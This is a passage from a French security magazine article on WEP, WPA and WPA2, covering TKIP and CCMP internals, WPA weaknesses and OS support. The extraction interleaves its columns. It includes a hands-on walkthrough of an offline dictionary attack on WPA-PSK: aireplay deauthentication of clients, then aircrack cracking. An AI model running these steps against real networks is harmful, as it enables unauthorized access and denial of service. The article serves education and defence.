illustré en Figure 11.
Le Group Key Handshake est
seulement nécessaire en cas de dé-
sassociation d'un client ou lors du re-
nouvellement de la GTK suite à une
demande client. Le contrôleur initie
le premier message en choisissant le
nombre aléatoire GNonce et en cal-
culant une nouvelle GTK. Il envoie la
GTK chiffrée (en utilisant la KEK), le
numéro de séquence de la GTK et le
MIC calculé sur ce message grâce à
la KCK au client. Quand le message
Figure 11. Phase 3 : Group Key Handshake
est reçu par le client, le MIC est véri-
fié et la GTK déchiffrée. de données avant sa fragmentation • gestion des clés : nouveau mé-
Le second message acquitte la alors que le MPDU représente les chanisme pour la génération et la
réussite du Group Key Handshake multiples unités de données après distribution des clés.
en envoyant le numéro de séquence fragmentation. Cette différence
de la GTK et le MIC calculé sur ce est importante dans le protocole Le schéma TKIP de mixage des clés
second message. Après réception de chiffrement TKIP et CCMP car est divisé en deux phases. La phase 1
du message, le contrôleur installe la dans TKIP le MIC est calculé sur le implique les champs statiques – la
nouvelle GTK (après avoir vérifié la MSDU tandis que dans CCMP il est clé de session secrète TEK, l'adres-
valeur du MIC). calculé sur le MPDU. se MAC du transmetteur TA (incluse
Une STAkey Handshake existe Tout comme le WEP, TKIP est pour éviter la collision d'IV) et les
aussi, mais elle ne sera pas détaillée basé sur l'algorithme de chiffrement 32 bits de poids fort de l'IV. La phase
ici. Elle permet la génération d'une RC4 mais il existe seulement pour 2 implique la sortie de la phase 1 et
clé transitoire appellée STAkey à une raison : afin de permettre une les 16 bits de poids faible de l'IV,
l'aide du point d'accès pour les con- mise à jour aux systèmes à base de changeant ainsi tous les bits du
nexions de type ad-hoc. WEP pour bénéficier d'un protocole champ Per Packet Key pour chaque
plus sécurisé. TKIP est nécessaire nouvel IV. La valeur de l'IV com-
Phase 4 : Chiffrement et pour la certification WPA et est inclu mence toujours à 0 et est incrémenté
intégrité au sein d'une RSNA de manière optionnel dans le RSN de 1 pour chaque paquet transmis,
Toutes les clés générées précédem- 802.11i. TKIP procure des correc- tout message ayant un TSC inférieur
ment sont utilisées dans les protoco- tions pour chaque faille du WEP ou égal au message précédent doit
les de chiffrement et d'intégrité au détaillée précédemment : être rejeté. La sortie de la phase 2 et
sein d'une RSNA : une partie de l'IV étendu (ainsi qu'un
• l'intégrité des messages : un nou- octet factice) sont l'entrée de l'algo-
• TKIP (Temporal Key Hash), veau MIC (Message Integrity Co- rithme RC4, ce dernier générant une
• CCMP (Counter-Mode/Cipher de) basé sur l'algorithme Michael suite chiffrante que l'on XOR avec le
Block Chaining Message Authen- peut être implémenté de manière texte en clair de la MPDU, le MIC cal-
tication Code Protocol), logicielle sur des processeurs culé sur le MPDU et le vieux ICV issu
• WRAP (Wireless Robust Authen- lents. du WEP (voir la Figure 12).
ticated Protocol). • IV : nouvelle méthode de sélec- Le calcul du MIC utilise l'algo-
tion de valeur des IV, reutilisation rithme Michael développé par Niels
Un concept important doit être de l'IV en temps que compteur Ferguson. Il a été créé pour TKIP
compris avant de détailler chacun anti-rejeu (TSC, ou TKIP Se- et dispose d'un niveau de sécurité
de ces protocoles : la différence quence Counter) et augmenta- voulu de 20 bits (cet algorithme n'uti-
entre un MSDU (MAC Service Data tion de la taille de l'IV pour éviter lise pas de multiplications pour des
Unit) et un MPDU (MAC Protocol sa réutilisation, raisons de performance car il se doit
Data Unit). Les deux se réfèrent • Per Packet Key Mixing : pour ob- d'être supporté sur des vieux équi-
à un simple paquet de données, tenir des clés en apparence non pements pour permettre leur mise
mais le MSDU représente un paquet liées, à jour vers WPA). À cause de cette

www.hakin9.org hakin9 Nº 1/2006 21


Dossier

Figure 12. Schéma TKIP de mixage des clés et de chiffrement limitation, des contre-mesures sont
nécessaires pour éviter la construc-
tion du MIC. Les erreurs relatives au
MIC doivent se maintenir en dessous
de deux par minute pour éviter une
mise en quarantaine de 60 secondes
et une re-négociation des clés (GTK
et PTK). Le MIC est calculé en utili-
sant l'adresse source (SA), l'adresse
destination (DA), le texte en clair
MSDU et la TMK appropriée (dépen-
Figure 13. Calcul du MIC en utilisant l'algorithme Michael
dant du sens de la communication,

Figure 14. Chiffrement CCMP

22 hakin9 Nº 1/2006 www.hakin9.org


Sécurité WEP, WPA et WPA2

une clé différente étant utilisée pour


la transmission et la réception). Listing 7. Découverte des réseaux et des clients Wi-Fi environnants
CCMP est basé sur le chiffre- # airodump ath0 wpa-crk 0
ment par bloc AES (Advanced En-
cryption Standard) dans son mode BSSID PWR Beacons # Data CH MB ENC ESSID
d'opération CCM avec une taille de 00:13:10:1F:9A:72 56 112 16 1 48 WPA hakin9demo

clé et de bloc de 128 bits. AES est


BSSID STATION PWR Packets ESSID
à CCMP ce que RC4 est à TKIP mais 00:13:10:1F:9A:72 00:0C:F1:19:77:5C 34 1 hakin9demo
contrairement à TKIP, qui a été fait
pour s'accomoder du matériel WEP
existant, il n'est pas un compromis
de sécurité mais une nouvelle archi- Listing 8. Lancement de l'attaque par dictionnaire
tecture de protocole. CCMP utilise $ aircrack -a 2 -w some_dictionnary_file -0 wpa-psk.cap
le mode compteur en combinaison Opening wpa-psk.cap
avec la méthode d'authentification Read 541 packets.
des messages appellée Cipher Block BSSID ESSID Encryption
00:13:10:1F:9A:72 hakin9demo WPA (1 handshake)
Chaining (CBC-MAC) permettant de
produire un MIC.
Des propriétés intéressantes IEEE 802.11i mais il fut abandonné sur la force de la phrase secrète
furent aussi ajoutées comme l'uti- à cause de problèmes de propriété l'ayant générée. Comme souligné
lisation d'une simple clé pour le intellectuelle et d'une éventuelle par Robert Moskowitz, le second
chiffrement et l'authentification des licence. CCMP fut alors adopté message du 4-Way Handshake
données (avec un vecteur d'initia- comme obligatoire. peut être sujet à des attaques par
lisation différent pour chacun) ou dictionnaire et force brute hors li-
l'authentification de données non Les faiblesses de gne. L'utilitaire cowpatty a été créé
chiffrées. Le protocole CCMP ajoute WPA/WPA2 pour exploiter cette faiblesse et son
16 octets au MPDU : 8 octets pour Quelques faiblesses ont été décou- code source fut repris et amélioré
l'en-tête CCMP et 8 octets pour le vertes dans WPA/WPA2 depuis leur par Christophe Devine dans Air-
MIC. L'en-tête CCMP est un champ sortie, aucune d'entre elles n'est criti- crack afin de réaliser des attaques
non chiffré inclu entre l'en-tête MAC que si des recommandations simples par force brute ou dictionnaire sur la
et la partie des données chiffrées de sécurité sont suivies. PSK du WPA. L'architecture du pro-
contenant les 48 bits du PN (Packet La vulnérabilité la plus exploi- tocole (4096 hachage pour chaque
Number = IV étendu) et le Group Key table est une attaque contre la clé tentative de phrase secrète) impli-
KeyID. Le PN est incrémenté de un PSK utilisée dans WPA/WPA2. que que les attaques de type brute
pour chaque MPDU. Comme déjà mentionné précédem- force soient très lentes (quelques
Le calcul du MIC utilise l'algo- ment, la PSK est une alternative centaines de phrases secrètes par
rithme CBC-MAC qui chiffre un bloc à la génération de la PMK par des seconde sur le dernier modèle de
aléatoire de départ (obtenu grâce au échanges 802.1X basés sur un processeur). La PMK ne peut pas
champ Priority, à l'adresse source serveur d'authentification. La PSK être pré-calculée (et mise dans des
du MPDU et au PN incrémenté) est une chaîne de caractères de tables) car la phrase secrète dis-
et XOR les blocs suivants pour ob- 256 bits ou une phrase secrète pose d'une graîne basé sur l'ESSID.
tenir un MIC final sur 64 bits (le MIC comprise entre 8 et 63 caractères Une phrase secrète n'apparaissant
final fait 128 bits mais les 64 bits de de laquelle on extrait la chaîne de dans aucun dictionnaire (et de taille
poids faible sont écartés). Le MIC est caractères par un algorithme con- supérieur à 20 caractères) doit être
alors concaténé aux données en clair nu : PSK = PMK = PBKDF2 (phrase choisie pour se protéger contre
pour le chiffrement AES en mode secrète, SSID, longueur du SSID, cette faiblesse.
compteur. Ce compteur est construit 4096, 256) où PBKDF2 est une mé- Pour réaliser cette attaque, un
sur une valeur aléatoire identique thode issue de PKCS#5, 4096 est attaquant doit capturer les mes-
à celle utilisée pour le MIC combinée le nombre de hachage successifs sages du 4-Way Handshake en
à un compteur incrémenté de 1 pour et 256 la taille de la sortie. La PTK scrutant passivement les trames du
chaque bloc. est dérivée de la PMK en utilisant le réseau sans fil ou en utilisant l'atta-
Le dernier protocol est le WRAP, 4-Way Handshake et toute les infor- que par dé-authentification (décrite
aussi basé sur AES, mais utilisant le mations nécessaires à son calcul précédemment) pour accélérer le
schéma de chiffrement et d'authen- sont transmises en clair. processus. En fait, seul les deux
tification OCB (Offset Codebook La force de la PTK repose uni- premiers messages sont requis
Mode). OCB fut le premier mode quement sur la valeur de la PMK, pour tester les choix de PSK. On se
sélectionné par le groupe de travail qui dans le cas de la PSK repose souvient que la PTK = PRF-X (PMK,

www.hakin9.org hakin9 Nº 1/2006 23


Dossier

client identifié par son adresse MAC


00:0C:F1:19:77:5C est associé et
authentifié sur le réseau sans fil (in-
diquant qu'il a achevé correctement
le 4-Way Handshake).
Une fois le réseau cible de l'at-
taque repéré, la capture doit être
réalisée sur le canal adéquat pour
éviter de perdre des paquets lors
du passage sur les autres canaux.
Cette étape fournit une sortie simi-
laire à l'étape précédente :

# airodump ath0 wpa-psk 1

Les clients légitimes peuvent en-


suite être dé-authentifiés, les forçant
à réaliser une nouvelle authentification
Figure 15. WPA-PSK faible découverte avec Aircrack permettant ainsi à l'attaquant de cap-
turer les messages du 4-Way Hands-
Pairwise key expansion, Min(AP_ Pour l'exemple pratique, cela hake. Aireplay est utilisé pour réaliser
Mac, STA_Mac) || Max(AP_Mac, commence exactement de la même cette attaque, il va dé-authentifier le
STA_Mac) || Min(ANonce, SNonce) façon que pour le cassage du WEP : client sélectionné du BSSID spécifié
|| Max(ANonce, Snonce)) où la le mode moniteur doit être activé sur en lui envoyant une fausse requête de
PMK est égale à la PSK dans notre la carte sans fil : dé-authentification :
cas. Après la transmission du se-
cond message, l'attaquant connait # airmon.sh start ath0 # aireplay -0 1 -a <BSSID>
ANonce (grâce au 1er message) et -c <client_mac> ath0
SNonce (grâce au 2ème message) et L'étape suivante consiste a découvrir
peut commencer à choisir une PSK les réseaux et les clients sans fils L'étape finale consiste à lancer l'atta-
pour calculer la PTK et dériver les environnants (voir le Listing 7). que par dictionnaire en utilisant Air-
clés temporelles. Si la PSK est cor- Le résultat peut être interprété de crack (voir le Listing 8). La Figure 15
rectement choisie, le MIC du second la façon suivante : un point d'accès illustre le résultat de l'attaque.
message peut être obtenu avec la avec le BSSID 00:13:10:1F:9A:72 uti- L'autre faille principale du WPA
KCK correspondante, sinon un nou- lise le protocole WPA sur le canal 1 est un possible déni de service durant
veau choix doit être effectué. avec le SSID hakin9demo et un le 4-Way Handshake. Changhua He

Sur Internet
• http://standards.ieee.org/getieee802/download/802.11i- • http://www.cr0.net:8040/code/network/aircrack/ – Aircrack
2004.pdf – Norme IEEE 802.11i, (Devine),
• http://www.awprofessional.com/title/0321136209 – Real • http://weplab.sourceforge.net/ – Weplab (Sanchez),
802.11 Security Wi-Fi Protected Access and 802.11i (John • http://www.wifinetnews.com/archives/002452.html – WPA
Edney, William A. Arbaugh) – Addison Wesley – ISBN : PSK weakness (Moskowitz),
0-321-13620-9, • http://new.remote-exploit.org /images /5/5a /Cowpatty-
• http://www.cs.umd.edu/~waa/attack/v3dcmnt.htm – An 2.0.tar.gz – Outil de cassage de clé WPA-PSK Cowpatty,
inductive chosen plaintext attack against WEP/WEP2 (Ar- • http://byte.csc.lsu.edu/~durresi/7502/reading/p43-he.pdf
baugh), – Analysis of the 802.11i 4-Way Handshake (He, Mitchell),
• http://www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf • http://www.cs.umd.edu/%7ewaa/1x.pdf – An initial security
– Weaknesses in the Key Scheduling Algorithm of RC4 analysis of the IEEE 802.1X standard (Arbaugh, Mishra),
(Fluhrer, Mantin, Shamir), • http://support.microsoft.com/?kbid=893357 – Mise à jour
• ht tp: / / w w w.dac hb 0 den.c om / pr ojec ts / bsd - air tools/ pour le WPA2 pour Microsoft Windows XP SP2,
wepexp.txt – optimisation d'h1kari, • http://hostap.epitest.fi/wpa_supplicant/ – wpa_supplicant,
• http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf – In- • http://www.securityfocus.com/infocus/1814 – WEP: Dead
tercepting Mobile Communications : The Insecurity of 802.11 Again, Part 1,
(Borisov, Goldberg, Wagner), • http://www.securityfocus.com/infocus/1824 – WEP: Dead
• http://airsnort.shmoo.com/ – AirSnort, Again, Part 2.

24 hakin9 Nº 1/2006 www.hakin9.org


Sécurité WEP, WPA et WPA2

Listing 9. Exemple de fichier de configuration wpa_supplicant pour un


réseau WPA2

ap_scan=1 # Scan des fréquences radio et sélection


# du point d'accès approprié
network={ # Premier réseau sans fil
ssid="some_ssid" # SSID du réseau
scan_ssid=1 # Forcer l'envoi de Probe Request
# pour la découverte de SSID cachés
proto=RSN # RSN pour WPA2/IEEE 802.11i
key_mgmt=WPA-PSK # Authentification par clé pré-partagée (Pre-Shared Key)
pairwise=CCMP # Protocol CCMP (chiffrement AES)
psk=1232813c587da145ce647fd43e5908abb45as4a1258fd5e410385ab4e5f435ac
}

à calculer le MIC, le secret du MIC à jour de Windows XP SP2


est donc critique. (KB893357) est sortie le 29 avril
Figure 16. Support du WPA2 dans
La dernière vulnérabilité connue 2005 ajoutant le support de WPA2 et
Windows XP SP2
est une attaque théorique possible améliorant la détection des réseaux
et John C. Mitchell identifièrent que le sur les Temporal Key Hash du WPA sans fil (voir la Figure 16). Les autres
premier message du 4-Way Hands- en réduisant la complexité de l'atta- versions de Windows doivent utiliser
hake n'était pas authentifié et que que (de ∂128 à ∂105) sous certaines un client (supplicant) externe (com-
chaque client devait stocker chaque conditions (connaissance de certai- merciaux ou open source, comme
1er message jusqu'à réception d'un nes clés RC4). wpa_supplicant – la version Win-
troisième message (signé), laissant Le WPA/WPA2 est aussi sujet dows étant expérimentale).
alors le client potentiellement vulnéra- a des vulnérabilités affectant d'autre Sous Linux et les différents types
ble à une saturation de mémoire. En méchanismes standard au sein de de BSD, wpa_supplicant implé-
usurpant le premier message envoyé la norme 802.11i comme les atta- mentait déjà le support WPA2 dès
par le point d'accès, un attaquant ques par usurpation des messages la sortie de la norme finale 802.11i.
peut réaliser un déni de service sur le 802.1X (EAPoL Logoff, EAPoL Il supporte un grand nombre de mé-
client si plusieurs sessions simulta- Start, EAP Failure etc.) décrites par thodes EAP et de fonctionnalités de
nées peuvent coexister simultané- William A. Arbaugh et Arunesh Mishra gestion de clés pour WPA, WPA2 et
ment au niveau du client. une nouvelle fois dûes au manque WEP. Plusieurs réseaux peuvent être
L'algorithme Michael utilisé pour d'authentification. Enfin il est important déclarés au sein d'un même fichier
calculé le MIC a aussi des faiblesses de noter que l'utilisation des proto- de configuration disposant de chif-
résultant de son design (voulues coles WPA/WPA2 n'empêchera pas frement, gestion des clés, méthodes
par le groupe de travail 802.11i). La des attaques sur les couches basses EAP variées. La Listing 9 présente
sécurité de Michael repose sur le fait tels que le brouillage radio, les dénis un fichier basique de configuration
qu'il est chiffré au sein du paquet. de service par violation de la norme pour un réseau basé sur WPA2.
Les fonctions cryptographiques pour 802.11, les dé-authentifications, les L'emplacement par défaut pour le
calculer des MIC sont habituelle- dé-associations, etc. fichier de configuration de wpa_sup-
ment résistante au attaques en clair plicant est /etc/wpa_supplicant.conf,
connu (où l'attaquant dispose du Implémentation ce fichier doit être uniquement ac-
message en clair et du MIC), mais cessible à l'utilisateur root.
de WPA/WPA2
Michael s'avère vulnérable a ce Le démon wpa_supplicant doit
type d'attaque car il est inversible. dans les systèmes être lancé avec les privilèges root
En connaissant un message et sa d'exploitation en mode débogage dans un pre-
valeur MIC associée, il est possible Dans Windows, le support WPA2 mier temps (option -dd), avec le
de découvrir la clé secrète servant n'est pas inclu de base. Une mise support du bon pilote (dans notre
exemple cela correspond à l'op-
tion -D madwifi pour supporter la
À propos de l'auteur
Guillaume Lehembre est un consultant sécurité français travaillant pour le cabinet puce Atheros), le nom de l'interface
HSC (Hervé Schauer Consultants – http://www.hsc.fr) depuis 2004. Il a travaillé sur (avec l'option -i, dans notre cas
différents audits, études et tests d'intrusion et a acquis une expérience certaine dans ath0) et le chemin du fichier de con-
la sécurité des réseaux sans fils. Il a publié des articles et réalisé des interventions figuration (option -c) :
publiques sur ce sujet. Guillaume peut être contacté à l'adresse suivante : Guillaume.
Lehembre@hsc.fr. # wpa_supplicant
-D madWi-Fi

www.hakin9.org hakin9 Nº 1/2006 25


Dossier

-dd -c /etc/wpa_supplicant.conf treme-enabled Macintoshes, AirPort supportant une mise à jour mais ne
-i ath0 Extreme Base Station et le AirPort pouvant passer au WPA2 mais ce
Express. dernier représente une solution plus
Toutes les étapes théoriques décri- pérenne et sera à l'avenir le standard
tes précédements sont visibles dans Conclusion en terme de sécurité des réseaux
le mode de debogage (association Il est clair que le protocole de chif- sans fils Wi-Fi. N'oubliez pas de
à l'AP, authentification 802.1X, 4-Way frement WEP ne garantie pas une positionner vos réseaux sans fils
Handshake, etc.). Quand tout fonc- sécurité suffisante pour les réseaux dans une zone filtrée séparée et de
tionne correctement, wpa_supplicant sans fil Wi-Fi, il ne peut qu'être utilisé garder toujours une connexion filaire
peut être lancé en mode démon (en en complémentarité d'une solution à portée pour les réseaux critiques
remplaçant l'option -dd par -B). de chiffrement de plus haut niveau – le brouillage radio et les attaques
Sur Macintosh, le WPA2 est (comme les technologies VPN). de bas niveau (violation du standard
supporté avec la mise à jour 4.2 de Le WPA représente une solution 802.11, fausse dé-association, etc.)
l'utilitaire Apple AirPort : AirPort Ex- sécurisée pour les équipements étant toujours dévastatrices. l

Glossaire
• AP – Access Point, station de base pour un réseau Wi-Fi (ap- • MPDU – Mac Protocol Data Unit, paquet de donnée avant
pelé aussi point d'accès ou borne) interconnectant les clients fragmentation.
sans fil entre eux ainsi qu'au réseau filaire. • MSDU – Mac Service Data Unit, paquet de donnée après
• ARP – Address Resolution Protocol, protocole faisant la cor- fragmentation.
respondance entre adresse IP et adresse MAC. • PAE – Port Access Entity, port logique 802.1x.
• BSSID – Basic Service Set Identifier, adresse MAC du point • PMK – Pairwise Master Key, clé maîtresse de la hiérarchie
d'accès. de clé pairwise.
• CCMP – Counter-Mode/Cipher Block Chaining Message • PSK – Pre-Shared Key, clé dérivée d'un mot de passe,
Authentication Code Protocol, protocole de chiffrement uti- remplaçant la PMK normalement issue d'un vrai serveur
lisé dans WPA2 basé sur l'algorithme de chiffrement par bloc d'authentification.
AES. • PTK – Pairwise Transient Key, clé dérivée de la PMK.
• CRC – Cyclic Redundancy Check, algorithme de pseudo- • RSN – Robust Security Network, méchanismes de sécurité
intégrité utilisé par le protocole WEP (comporte de nombreu- 802.11i (TKIP, CCMP etc.).
ses faiblesses). • RSNA – Robust Security Network Association, association
• EAP – Extensible Authentication Protocol, cadre de travail de sécurité utilisée dans RSN.
pour des méthodes d'authentification variées. • RSN IE – Robust Security Network Information Element,
• EAPOL – EAP Over LAN, protocole utilisé dans les réseaux champ contenant les informations RSN inclues dans les
sans fil pour le transport d'EAP. trames Probe Response et Association Request.
• GEK – Group Encryption Key, clé de chiffrement pour le trafic • SSID – Service Set Identifier, identifiant du réseau sans fil
en diffusion (aussi utilisée pour l'intégrité des données dans (identique à l'ESSID).
CCMP). • STA – Station, un client sans fil.
• GIK – Group Integrity Key, clé d'intégrité pour le trafic en • TK – Temporary Key, clé pour le chiffrement des données
diffusion (utilisé dans TKIP). à destination d'une machine (unicast) (utilisé pour le calcul
• GMK – Group Master Key, clé maîtresse de la hiérarchie de des données d'intégrité dans le protocole CCMP).
groupe. • TKIP – Temporal Key Integrity Protocol, protocole de chiffre-
• GTK – Group Transient Key, clé dérivée de la GMK. ment utilisé dans le WPA, basé sur l'algorithme de chiffement
• ICV – Integrity Check Value, champ de donnée concaténé RC4 (comme le WEP).
aux données en clair pour garantir l'intégrité (basé sur l'algo- • TMK – Temporary MIC Key, clé pour l'authenticité des don-
rithme faible CRC32). nées du trafic à destination d'une machine (unicast) (utilisé
• IV – Initialization Vector, donnée combinée à la clé de chiffre- dans TKIP).
ment afin de produire une suite chiffrante unique. • TSC – TKIP Sequence Counter, compteur anti-rejeu utilisé
• KCK – Key Confirmation Key, clé d'intégrité utilisée pour dans TKIP (basé sur l'IV étendu).
protéger les échanges de clé. • TSN – Transitional Security Network, méchanismes de sécu-
• KEK – Key Encryption Key, clé de confidentialité utilisée pour rité pre-802.11i (WEP etc.).
protéger les échanges de clé. • WEP – Wired Equivalent Privacy, protocole de chiffrement
• MIC – Message Integrity Code, champ de donnée ajouté par défaut des réseaux sans fil de type 802.11.
aux données en clair pour garantir l'intégrité (basé sur l'algo- • WPA – Wireless Protected Access, implémentation d'une
rithme Michael). pré-version de la norme 802.11i basée sur le protocole de
• MK – Master Key, clé maîtresse connue du client 802.1x et chiffrement TKIP.
du serveur d'authentification à l'issu du processus d'authen- • WRAP – Wireless Robust Authenticated Protocol, ancien
tification 802.1x. protocole de chiffrement utilisé dans le WPA2.

26 hakin9 Nº 1/2006 www.hakin9.org

S-ar putea să vă placă și